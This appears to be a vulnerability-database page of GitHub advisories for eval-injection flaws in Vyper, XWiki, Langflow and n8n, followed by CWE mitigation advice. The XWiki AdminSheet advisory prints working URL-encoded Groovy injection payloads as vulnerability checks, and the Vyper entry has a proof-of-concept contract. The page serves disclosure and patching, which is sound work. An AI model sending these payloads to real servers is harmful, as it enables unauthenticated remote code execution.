  "details": "### Summary\nUsing the `sqrt` builtin can result in multiple eval evaluation of side effects when the argument has side-effects. The bug is more difficult (but not impossible!) to trigger as of 0.3.4, when the unique symbol fence was introduced (https://github.com/vyperlang/vyper/pull/2914).\n\nA contract search was performed and no vulnerable contracts were found in production.\n\n### Details\nIt can be seen that the `build_IR` function of the `sqrt` builtin doesn\u0027t cache the argument to the stack: \nhttps://github.com/vyperlang/vyper/blob/4595938734d9988f8e46e8df38049ae0559abedb/vyper/builtins/functions.py#L2151\n\nAs such, it can be evaluated multiple times (instead of retrieving the value from the stack).\n\n### PoC\nWith at least Vyper version `0.2.15+commit.6e7dba7` the following contract:\n```vyper\nc: uint256\n\n@internal\ndef some_decimal() -\u003e decimal:\n    self.c += 1\n    return 1.0\n\n@external\ndef foo() -\u003e uint256:\n    k: decimal = sqrt(self.some_decimal())\n    return self.c\n```\npasses the following test:\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity \u003e=0.8.13;\n\nimport \"../../lib/ds-test/test.sol\";\nimport \"../../lib/utils/Console.sol\";\nimport \"../../lib/utils/VyperDeployer.sol\";\n\nimport \"../ITest.sol\";\n\ncontract ConTest is DSTest {\n    VyperDeployer vyperDeployer = new VyperDeployer();\n\n    ITest t;\n\n    function setUp() public {\n        t = ITest(vyperDeployer.deployContract(\"Test\"));\n    }\n\n    function testFoo() public {\n        uint256 val = t.foo();\n        console.log(val);\n        assert (val == 4);\n    }\n}\n```\n \n### Patches\nPatched in https://github.com/vyperlang/vyper/pull/3976.\n\n### Impact\nNo vulnerable production contracts were found.",
  "id": "GHSA-5jrj-52x8-m64h",
  "modified": "2025-01-21T17:53:44Z",
  "published": "2024-04-25T19:50:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-5jrj-52x8-m64h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/pull/2914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-209.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vyper performs multiple eval of `sqrt()` argument built in"
}

GHSA-5MF8-V43W-MFXP

Vulnerability from github – Published: 2023-08-21 20:10 – Updated: 2023-08-21 20:10
VLAI
Summary
XWiki Platform privilege escalation (PR) from account through AWM content fields
Details

Impact

Any registered user can use the content field of their user profile page to execute arbitrary scripts with programming rights, thus effectively performing rights escalation.

The problem is present since version 4.3M2 when AppWithinMinutes Application added support for the Content field, allowing any wiki page (including the user profile page) to use its content as an AWM Content field, which has a custom displayer that executes the content with the rights of the AppWithinMinutes.Content author, rather than the rights of the content author.

Patches

The issue has been fixed in XWiki 14.10.5 and 15.1RC1 by https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262 . The fix is in the content of the AppWithinMinutes.Content page that defines the custom displayer. By using the display script service to render the content we make sure that the proper author is used for access rights checks.

Workarounds

If you want to fix this problem on older versions of XWiki that have not been patched then you need to modify the content of AppWithinMinutes.Content page to use the display script service to render the content, like this:

- {{html}}$tdoc.getRenderedContent($tdoc.content, $tdoc.syntax.toIdString()).replace('{{', '&amp;#123;&amp;#123;'){{/html}}
+ {{html}}$services.display.content($tdoc, {
+   'displayerHint': 'default'
+ }).replace('{{/html}}', '&amp;#123;&amp;#123;/html&amp;#125;&amp;#125;'){{/html}}

References

  • JIRA issue https://jira.xwiki.org/browse/XWIKI-19906
  • Fix https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Attribution

This vulnerability has been found and reported by @michitux .

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-appwithinminutes-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3-milestone-2"
            },
            {
              "fixed": "14.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-21T20:10:55Z",
    "nvd_published_at": "2023-08-23T21:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAny registered user can use the content field of their user profile page to execute arbitrary scripts with programming rights, thus effectively performing rights escalation.\n\nThe problem is present [since version 4.3M2](https://jira.xwiki.org/browse/XWIKI-7369) when AppWithinMinutes Application added support for the Content field, allowing any wiki page (including the user profile page) to use its content as an AWM Content field, which has a custom displayer that executes the content with the rights of the ``AppWithinMinutes.Content`` author, rather than the rights of the content author.\n\n### Patches\n\nThe issue has been fixed in XWiki 14.10.5 and 15.1RC1 by https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262 . The fix is in the content of the [AppWithinMinutes.Content](https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262#diff-850f6875c40cf7932f40a985e99679a041891c6ee75d10239c06921c0019cf78R82) page that defines the custom displayer. By using the ``display`` script service to render the content we make sure that the proper author is used for access rights checks.\n\n### Workarounds\n\nIf you want to fix this problem on older versions of XWiki that have not been patched then you need to modify the content of ``AppWithinMinutes.Content`` page to use the ``display`` script service to render the content, like this:\n\n```\n- {{html}}$tdoc.getRenderedContent($tdoc.content, $tdoc.syntax.toIdString()).replace(\u0027{{\u0027, \u0027\u0026amp;#123;\u0026amp;#123;\u0027){{/html}}\n+ {{html}}$services.display.content($tdoc, {\n+   \u0027displayerHint\u0027: \u0027default\u0027\n+ }).replace(\u0027{{/html}}\u0027, \u0027\u0026amp;#123;\u0026amp;#123;/html\u0026amp;#125;\u0026amp;#125;\u0027){{/html}}\n```\n\n### References\n\n* JIRA issue https://jira.xwiki.org/browse/XWIKI-19906\n* Fix https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nThis vulnerability has been found and reported by @michitux .",
  "id": "GHSA-5mf8-v43w-mfxp",
  "modified": "2023-08-21T20:10:55Z",
  "published": "2023-08-21T20:10:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5mf8-v43w-mfxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40177"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-7369"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform privilege escalation (PR) from account through AWM content fields"
}

GHSA-5V3C-9G74-93W7

Vulnerability from github – Published: 2026-01-23 06:31 – Updated: 2026-01-23 06:31
VLAI
Details

Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-23T04:16:03Z",
    "severity": "CRITICAL"
  },
  "details": "Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.",
  "id": "GHSA-5v3c-9g74-93w7",
  "modified": "2026-01-23T06:31:24Z",
  "published": "2026-01-23T06:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0769"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-26-035"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XRP-6693-JJX9

Vulnerability from github – Published: 2026-01-27 15:30 – Updated: 2026-01-29 15:02
VLAI
Summary
n8n Unsafe Workflow Expression Evaluation Allows Remote Code Execution
Details

n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.

An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-29T15:02:29Z",
    "nvd_published_at": "2026-01-27T15:15:57Z",
    "severity": "CRITICAL"
  },
  "details": "n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.",
  "id": "GHSA-5xrp-6693-jjx9",
  "modified": "2026-01-29T15:02:29Z",
  "published": "2026-01-27T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/25c4b9605b420a98d0185a4f01115122a5134d8f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/30383d86139f3279a698df8d229eadfefe8627f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/aa4d1e5825829182afa0ad5b81f602638f55fa04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/n8n-expression-node-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "n8n Unsafe Workflow Expression Evaluation Allows Remote Code Execution"
}

GHSA-62PR-QQF7-HH89

Vulnerability from github – Published: 2023-11-08 14:51 – Updated: 2023-11-08 14:51
VLAI
Summary
XWiki Platform vulnerable to remote code execution through the section parameter in Administration as guest
Details

Impact

XWiki doesn't properly escape the section URL parameter that is used in the code for displaying administration sections. This allows any user with read access to the document XWiki.AdminSheet (by default, everyone including unauthenticated users) to execute code including Groovy code. This impacts the confidentiality, integrity and availability of the whole XWiki instance.

By opening the URL <server>/xwiki/bin/get/Main/WebHome?sheet=XWiki.AdminSheet&viewer=content&section=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger(%22attacker%22).error(%22Attack%20succeeded!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&xpage=view where <server> is the URL of the XWiki installation, it can be tested if an XWiki installation is vulnerable. If this causes a log message ERROR attacker - Attack succeeded! to appear in XWiki's log, the installation is vulnerable. In very old versions of XWiki, the attack can be demonstrated with <server>/xwiki/bin/get/XWiki/XWikiPreferences?section=%3C%25println(%22Hello%20from%20Groovy%22)%25%3E&xpage=view which displays admin.hello from groovy as title when the attack succeeds (tested on XWiki 1.7).

Patches

This vulnerability has been patched in XWiki 14.10.14, 15.6 RC1 and 15.5.1.

Workarounds

The fix, which consists of replacing = $services.localization.render("administration.sectionTitle$level", [$sectionName]) = by = $services.localization.render("administration.sectionTitle$level", 'xwiki/2.1', [$sectionName]) =, can be applied manually to the document XWiki.AdminSheet.

References

  • https://jira.xwiki.org/browse/XWIKI-21110
  • https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-administration-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-administration-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-administration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-08T14:51:06Z",
    "nvd_published_at": "2023-11-06T19:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nXWiki doesn\u0027t properly escape the section URL parameter that is used in the code for displaying administration sections. This allows any user with read access to the document `XWiki.AdminSheet` (by default, everyone including unauthenticated users) to execute code including Groovy code. This impacts the confidentiality, integrity and availability of the whole XWiki instance.\n\nBy opening the URL `\u003cserver\u003e/xwiki/bin/get/Main/WebHome?sheet=XWiki.AdminSheet\u0026viewer=content\u0026section=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger(%22attacker%22).error(%22Attack%20succeeded!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\u0026xpage=view` where `\u003cserver\u003e` is the URL of the XWiki installation, it can be tested if an XWiki installation is vulnerable. If this causes a log message `ERROR attacker                       - Attack succeeded!` to appear in XWiki\u0027s log, the installation is vulnerable. In very old versions of XWiki, the attack can be demonstrated with `\u003cserver\u003e/xwiki/bin/get/XWiki/XWikiPreferences?section=%3C%25println(%22Hello%20from%20Groovy%22)%25%3E\u0026xpage=view` which displays `admin.hello from groovy` as title when the attack succeeds (tested on XWiki 1.7).\n\n### Patches\nThis vulnerability has been patched in XWiki 14.10.14, 15.6 RC1 and 15.5.1.\n\n### Workarounds\nThe [fix](https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a#diff-6271f9be501f30b2ba55459eb451aee3413d34171ba8198a77c865306d174e23), which consists of replacing `= $services.localization.render(\"administration.sectionTitle$level\", [$sectionName]) =` by `= $services.localization.render(\"administration.sectionTitle$level\", \u0027xwiki/2.1\u0027, [$sectionName]) =`, can be applied manually to the document `XWiki.AdminSheet`.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21110\n* https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a",
  "id": "GHSA-62pr-qqf7-hh89",
  "modified": "2023-11-08T14:51:06Z",
  "published": "2023-11-08T14:51:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-62pr-qqf7-hh89"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a#diff-6271f9be501f30b2ba55459eb451aee3413d34171ba8198a77c865306d174e23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-21110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform vulnerable to remote code execution through the section parameter in Administration as guest"
}
Mitigation
Architecture and Design Implementation

Strategy: Refactoring

If possible, refactor your code so that it does not need to use eval() at all.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation
  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
  • Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

← Back to the CWE list